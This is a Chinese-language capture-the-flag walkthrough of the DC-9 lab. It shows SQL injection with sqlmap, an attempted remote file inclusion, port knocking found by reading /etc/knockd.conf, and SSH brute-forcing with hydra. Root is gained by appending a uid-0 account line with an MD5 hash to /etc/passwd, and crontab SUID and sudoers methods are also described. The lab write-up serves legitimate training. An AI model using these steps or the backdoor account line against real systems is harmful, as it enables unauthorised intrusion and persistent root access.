DC-9靶机笔记
DC-9
DESCRIPTION
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
信息收集
先扫描网段主机,发现靶机ip,并且开启了ssh以及web服务
先访问一下web页面
有四个模块HOME,Display All Records,Search,Manage
Display All Records页面显示了所有人员的信息
点击search后,搜索mary,可以看到出来了mary相关结果
再次输入mary,然后抓包看一下
尝试看看这里有没有sql注入
成功延时了五秒,说明search.php存在sql注入且引号闭合方式为单引号
脱库
既然存在sql注入,那就直接上sqlmap了
首先将post数据保存为1.txt
然后用sqlmap来跑
sqlmap -r 1.txt -p search --dbs
拿到了Staff和users数据库
接下来就是挨个数据库找找看用户名和密码
1 | --tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称 |
在Staff数据库的StaffDetails下发现了管理员加密密码
破解一下得到密码transorbital1
刚才还拿到了users数据库,去里面看看
在userDetails表下发现了普通用户账密
ssh登录
将刚才拿到的密码制作为密码本,尝试用hydra爆破ssh
hydra爆破发现被拒绝访问
突然回想起刚才nmap扫描的时候ssh端口的数据包被filter掉了,这个是因为对面设置了防火墙,我们到达22端口的数据包被防火墙拦截了,所以nmap不知道22端口是否开放,所以显示为filtered
回到web
既然现在不能登录ssh,那就继续回到web页面,我们还有个manage模块可以用于登录
登录admin后,获取到了三个信息
- 有一个welcome.php页面
- 增加了两个模块:增加记录和登出
- 还有一个文件不存在的标识(可能存在文件包含)
先看看增加记录模块
提交后就可以在Display All Records模块看到相关人员信息
这个模块最多也就抓个包看一下有没有sql注入,但是数据库我们已经拿到了,这就没必要了
log out模块就是登出,抓了个包看看也没啥
尝试一下文件包含,刚才我们有个welcome页面
猜测后端逻辑为如果前端传来某个指定参数,那就包含它,如果没传该指定参数就显示file not exists
接下来目标就是fuzz出这个参数
注意这里用的相对路径,文件包含的时候绝对和相对都试试,这次我用绝对路径没成功,相对成功了
抓包用burp爆破出参数为file
文件包含
先尝试一下远程文件包含
本地写个马
本地再开个web服务
本地测试一下,成功访问,rerce.txt就是我们的写shell脚本
接下来远程包含http://192.168.1.200/getwebshell.txt试试
如果成功会在根目录生成shell.php,测试了一下发现并没有成功
可能是没有写权限,也有可能没有开启allow_url_include
如果是没有开启allow_url_include,那伪协议写shell也不行了
- 尝试一下php://input
也没正常返回phpinfo页面,应该是禁止了allow_url_include
尝试看能不能写到日志里面去
这个前提条件得知道apache的配置文件在哪
由wappalyzer可知是debian系统,网上查了一下应该是在/var/log/apache2/error.log
包含了一下发现不是
最后在网上找了各日志路径尝试都没有成功QwQ,无果
那就只能本地文件包含看看文件了
尝试各种路径找phpinfo都没找到
想了半天也不知道该找什么重要文件了,于是看了下walkthrough
发现是有个重要文件/etc/knockd.conf
端口敲门
大致就是服务器开启了knockd服务,只有当我们按照某个顺序访问某些端口后,knockd会给防火墙添加一条我们IP可以访问22端口的规则,这样我们就可以访问22端口了
而要顺序访问哪些端口的信息就存放在/etc/knockd.conf中,配置文件大概就是这个样子
包含该文件看看
可以看到我们需要顺序访问7469 8475 9842端口,这样knockd服务就会执行/sbin/iptables -I INPUT -s %IP% -p tcp –dport 22 -j ACCEPT tcpflags
接下来我们用nc一次访问这些端口
再看一下22端口状态,发现已经时打开状态了
Getshell
用刚才制作的的密码本爆破ssh
发现了三个可用账号
登录ssh即可getshell
提权
第一个登录joeyt发现家目录没东西
换另一个用户试试,发现也没东西
再换另一个,发现一个特殊文件
进去看看,发现了一堆密码
猜测这些密码可能是刚才登陆失败ssh时某些用户的密码
再次尝试爆破,制作用户本和密码本
爆破出fredf的密码B4-Tru3-001
登录ssh看看,发现我们可以用root执行test
去看看test是啥
看到是test.py打包成的test,那就去找找test.py看看是干嘛的,怎么用
打开看看
大概就是能将read文件的内容添加的addpend文件中去,我们可以以root身份执行test,那就好说了,有三种方式提权
- 给/etc/passwd添加uid,gid=0的用户
查看/etc/passwd看到添加成功
切换到rerce
发现没有成功,百度了一下发现是要给用户指定一个加密密码
openssl passwd -1 -salt rerce1 123456
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
生成了一个密码
重新构造
加入到/etc/passwd
查看后发现确实添加进去了
但是发现还是无法切换到rerce1,最后发现是没有指定家目录和用户名
再次尝试添加新用户abc,切换用户,成功获得root权限
经过测试发现:
abc:$1$abc$p5vBrPVLeGliEGIuQHBTz.:0:0:root:/root:/bin/bash这个语句才行
添加到/etc/passwd的语句必须写:root:/root不能为::
如上图第二个红框所示就没添加成功
而且echo 要用单引号
最后拿到flag
第二种是给/etc/crontab添加定时任务,在指定时间将/bin/bash设置为4777权限,也就是suid模式
第三种是给/etc/sudoers文件添加fredf ALL=(ALL:ALL) ALL即fredf可以以root用户身份运行所有命令
具体操作参见:https://www.freebuf.com/articles/system/261271.html
总结
- 注意文件包含的时候绝对路径不行可尝试相对路径
- 从数据库中扒出来的密码并非都是ssh登陆密码,两个是不同的东西
- 当某个端口有防火墙,猜测可能有knockd服务,通过/etc/knockd.conf来绕过防火墙
- test是test.py的打包可执行程序,我们可以通过找到test.py查看源码来得知该可执行程序的功能
- 注意要写入到/etc/passwd的内容格式,有的时候还要加密码